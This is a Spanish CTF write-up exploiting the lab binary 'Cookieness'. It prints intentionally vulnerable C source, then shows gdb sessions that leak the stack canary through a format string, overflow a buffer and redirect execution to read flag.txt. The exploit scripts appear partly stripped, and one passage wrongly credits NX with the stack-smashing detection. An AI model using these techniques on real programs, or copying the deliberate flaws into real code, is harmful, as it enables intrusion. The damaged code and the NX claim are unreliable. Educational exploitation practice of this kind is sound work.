En este artículo se realiza la explotación de un binario vulnerable, usando para ello un reto CTF (Capture The Flag) diseñado específicamente para este propósito. «Cookieness» es un reto de categoría pwn o explotación binaria que consiste en leer un fichero denominado «flag.txt» mediante una vulnerabilidad de format string y un stack buffer overflow en un sistema Linux. Fue presentado en el CTF Universitario de Madrid por la asociación Seek N Hack.
Código fuente
Si el lector quiere resolver este reto en su máquina, debe crear un fichero, de nombre «flag.txt» con cualquier contenido, y compilar el código siguiente con el comando: gcc -m32 main.c -o cookieness -fstack-protector -no-pie. El código fuente también se encuentra disponible en el siguiente repositorio:
- https://github.com/NtMerk/cookieness
#include #include #includechar * fileName = «flag.txt»; char * signature = «Merk was here.»;// Unused function to print the first 100 // chars of a file passed as an argument void print_file(char * name) { char flag[100];FILE * fp; fp = fopen(name, «r»);// If the file can be opened and read, print its contents if (fgets(flag, 100, fp) != NULL) printf(«Mostrando contenido de %s: %s», name, flag); else printf(«Fichero %s no encontrado.», name); }void welcome() { // Ask user for input printf(«%s», «Login: «);// Get user input char strUser[20]; fgets(strUser, 20, stdin);// Print welcome message, followed by a printf // with a format string vulnerability printf(«%s», «Bienvenido, «); printf(strUser);// Get user input via vulnerable gets function puts(«\nPuedes leer flag.txt?»); gets(strUser); }int main(int argc, char * argv[]) { // Vulnerable function welcome(); return 0; } |
Reconocimiento
Un primer vistazo nos muestra que se trata de un binario de 32 bits, dynamically linked y not stripped. Esto significa que ha sido compilado con símbolos, por lo que podremos leer los nombres de las funciones implementadas en el código cuando lo analicemos a fondo, entre otras cosas.
└─$ file cookieness cookieness: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=3a32702afe6d664b62c9d 806d496072435a557e8, for GNU/Linux 3.2.0, not stripped |
Si ejecutamos strings en el binario, obtendremos una pista. El string flag.txt parece ser nuestro objetivo. También se pueden leer otras cadenas referentes a la funcionalidad del binario.
└─$ strings cookieness … flag.txt Merk was here. Mostrando contenido de %s: %s Fichero %s no encontrado. Login: Bienvenido, Puedes leer flag.txt? … |
Cargando el binario con gdb y ejecutando checksec, podemos comprobar el tipo de protecciones que el binario tiene habilitadas.
- CANARY/COOKIE
- Un Canary o Cookie es un valor aleatorio que se genera en cada ejecución como protección ante desbordamientos de buffer de pila. Antes de finalizar cualquier función y llegar a una instrucción «ret», se comprueba que el valor no ha cambiado o se ha corrompido. Esto quiere decir que para sobrescribir EIP mediante un stack buffer overflow, necesitaremos conocer el valor de la cookie en cada ejecución.
- NX (No eXecute)/DEP
- NX o DEP consiste en una protección que exige que determinadas áreas en la memoria no sean ejecutables. En nuestro caso, no podremos ejecutar nuestro shellcode en el stack directamente.
gdb-peda$ checksec
CANARY : ENABLED |
Ejecutando el binario podemos observar que tenemos dos entradas, de las cuales la primera se refleja por consola.
└─$ ./cookieness Login: test1 Bienvenido, test1Puedes leer flag.txt? test2 |
Realizando más pruebas podemos observar que la primera entrada tiene un format string vulnerability, y a la segunda le introducimos una gran cantidad de caracteres, resulta que es vulnerable a un buffer overflow. Sin embargo, sobrescribimos la cookie y obtenemos un stack smashing detected, ya que la protección NX ha detectado nuestro intento de explotación.
└─$ ./cookieness Login: %x Bienvenido, 804a065Puedes leer flag.txt? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA *** stack smashing detected ***: terminated zsh: IOT instruction ./cookieness |
Por último, ya que el binario es not stripped podemos observar los nombres de las funciones.
gdb-peda$ info functions All defined functions:Non-debugging symbols: 0x08049000 _init … 0x080491a6 print_file 0x08049243 welcome 0x080492f3 main … 0x08049334 _fini |
Las funciones más interesantes son print_file, welcome y main. Analizando la función print_file con cualquier decompilador nos revela que se utiliza para leer los contenidos de un fichero pasado como único argumento. Cabe destacar que esta función no se llama nunca en el binario.
unsigned int __cdecl print_file(const char *a1) { FILE *stream; // ST24_4 char s; // [esp+18h] [ebp-70h] unsigned int v4; // [esp+7Ch] [ebp-Ch]v4 = __readgsdword(0x14u); stream = fopen(a1, (const char *)&unk_804A020); if ( fgets(&s, 100, stream) ) printf(«Mostrando contenido de %s: %s», a1, &s); else printf(«Fichero %s no encontrado.», a1); return v4 – __readgsdword(0x14u); } |
Explotando el binario
Teniendo en cuenta lo anterior, una manera de resolver el reto consiste en:
- Leer el CANARY o COOKIE de la función welcome usando el format string vulnerability.
- Inducir un stack buffer overflow usando el CANARY recién obtenido.
- Redirigir EIP a la función print_file colocando en el stack un puntero a txt, ya que cuando ejecutamos strings, vimos que existía.
El printf vulnerable que nos permite leer memoria del stack se encuentra en esta dirección:
0x080492b3 <+112> call 0x8049094 <printf@plt> |
Por lo que colocaremos un breakpoint. Ejecutaremos el binario hasta el breakpoint, y comprobaremos dónde se encuentra el CANARY para poder leerlo.
gdb-peda$ b * 0x080492b3 Breakpoint 1 at 0x80492b3gdb-peda$ run Starting program: /home/merk/****/cookieness [Thread debugging using libthread_db enabled] Using host libthread_db library «/lib/x86_64-linux-gnu/libthread_db.so.1». Login: testBreakpoint 1, 0x080492b3 in welcome () |
Si miramos el final de la función welcome, podemos ver cómo se compara el CANARY. Veremos que sale de [ebp-0xc].
0x080492dd <+154>: mov eax,DWORD PTR [ebp-0xc] <— aquí 0x080492e0 <+157>: sub eax,DWORD PTR gs:0x14 0x080492e7 <+164>: je 0x80492ee <welcome+171> 0x080492e9 <+166>: call 0x8049320 <__stack_chk_fail_local> |
Entonces comprobamos en qué posición de ESP se encuentra el CANARY. Se encuentra a 11 DWORDS de distancia, y veremos que normalmente el último byte es «00
gdb-peda$ x/x $ebp-0xc 0xffffcdbc: 0xe4a1a300 <— los CANARY siempre terminan en 00 gdb-peda$ x/20x $esp 0xffffcd90: 0xffffcda8 0x0804a065 0xf7e21620 0x0804924f 0xffffcda0: 0xf7fbf4a0 0xf7fd7a6c 0x74736574 0xf7fb000a 0xffffcdb0: 0xffffcdf0 0xf7fbf66c 0xf7fbfb30 0xe4a1a300 <— aquí 0xffffcdc0: 0x00000001 0xf7e20ff4 0xffffcdd8 0x08049308 0xffffcdd0: 0xffffd09b 0x00000070 0xf7ffd020 0xf7c213b5 |
Por ello, si en la primera entrada del binario colocamos el string «%11$x», imprimiremos el CANARY. En este caso, el «11$» indica que queremos imprimir el onceavo valor del stack, y la «x» indica que queremos imprimirlo en hexadecimal.
└─$ ./cookieness Login: %11$x Bienvenido, 1e66b800Puedes leer flag.txt? |
Ahora podemos intentar sobrescribirlo en la segunda entrada, y crashear el proceso con valores arbitrarios. Tenemos que saber a qué distancia se encuentra el CANARY de lo que sobrescribimos una vez se llama la función gets. Para ello, usaremos pattern de gdb-peda y veremos con qué offset sobrescribimos el CANARY.
gdb-peda$ b * 0x080492e0 <— en esta dirección se comprueba el CANARY Breakpoint 1 at 0x80492e0gdb-peda$ pattern create 50 ‘AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA’gdb-peda$ run Starting program: /home/merk/****/cookieness Login: test Bienvenido, testPuedes leer flag.txt? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA[——————————-registers——————————–] EAX: 0x41412d41 (‘A-AA’) <— EAX contenía el CANARY, que hemos sobrescrito …gdb-peda$ pattern offset 0x41412d41 1094790465 found at offset: 20 |
Ya sabemos que el CANARY se debe sobrescribir en el offset 20. Montando el siguiente script, veremos que hemos sobrescrito el CANARY y que podemos redirigir el programa.
from pwn import *
# run the process gdb.attach(p, »’ break welcome »’) # get the 11th stack variable (the canary/cookie) # read the cookie from the abused string format vulnerability # build the payload # send the payload |
Ejecutándolo, obtenemos un SIGSEGV, redirigiendo correctamente a nuestra dirección arbitraria de memoria.
Stopped reason: SIGSEGV 0x42424242 in ?? () |
Volvemos a usar pattern para comprobar la distancia desde el CANARY hasta EIP y obtenemos que está otros 12 bytes delante (no lo muestro porque es cuestión de repetir el proceso). Ahora que podemos modificar EIP a nuestro gusto, solo nos queda apuntar a la función print_file, y pasar en el stack un puntero al string flag.txt.
gdb-peda$ break main Breakpoint 1 at 0x80492f6gdb-peda$ rungdb-peda$ find flag.txt Searching for ‘flag.txt’ in: None ranges Found 4 results, display max 4 items: cookieness : 0x804a008 («flag.txt») cookieness : 0x804a07f («flag.txt?») cookieness : 0x804b008 («flag.txt») cookieness : 0x804b07f («flag.txt?») |
Podemos usar cualquiera de las dos que no tienen un «?» al final. Y solo quedará construir el script final.
from pwn import *
print_file = 0x080491a6 # run the process # get the 11th stack variable (the canary/cookie) # read the cookie from the abused string format vulnerability # build the payload # send the payload # jackpot p.close() |
Y obtendríamos los contenidos del fichero flag.txt.
└─$ python3 exploit.py [+] Starting local process ‘./cookieness’: pid 2417 Cookie = 0x76d0fc00 [+] Receiving all data: Done (81B) [*] Stopped process ‘./cookieness’ (pid 2417)Puedes leer flag.txt? Mostrando contenido de flag.txt: SNH{this_is_a_test_flag} |
Conclusiones
En este artículo se ha realizado un bypass de la medida de protección de Stack CANARIES o COOKIES en binarios de Linux mediante una vulnerabilidad de format string. Una vez evadida, se ha utilizado un stack buffer overflow para redirigir la ejecución del programa y obtener los contenidos de un fichero del sistema objetivo.
Marcos González Sanz, Consultor en Ciberseguridad en Cipherbit-Grupo Oesía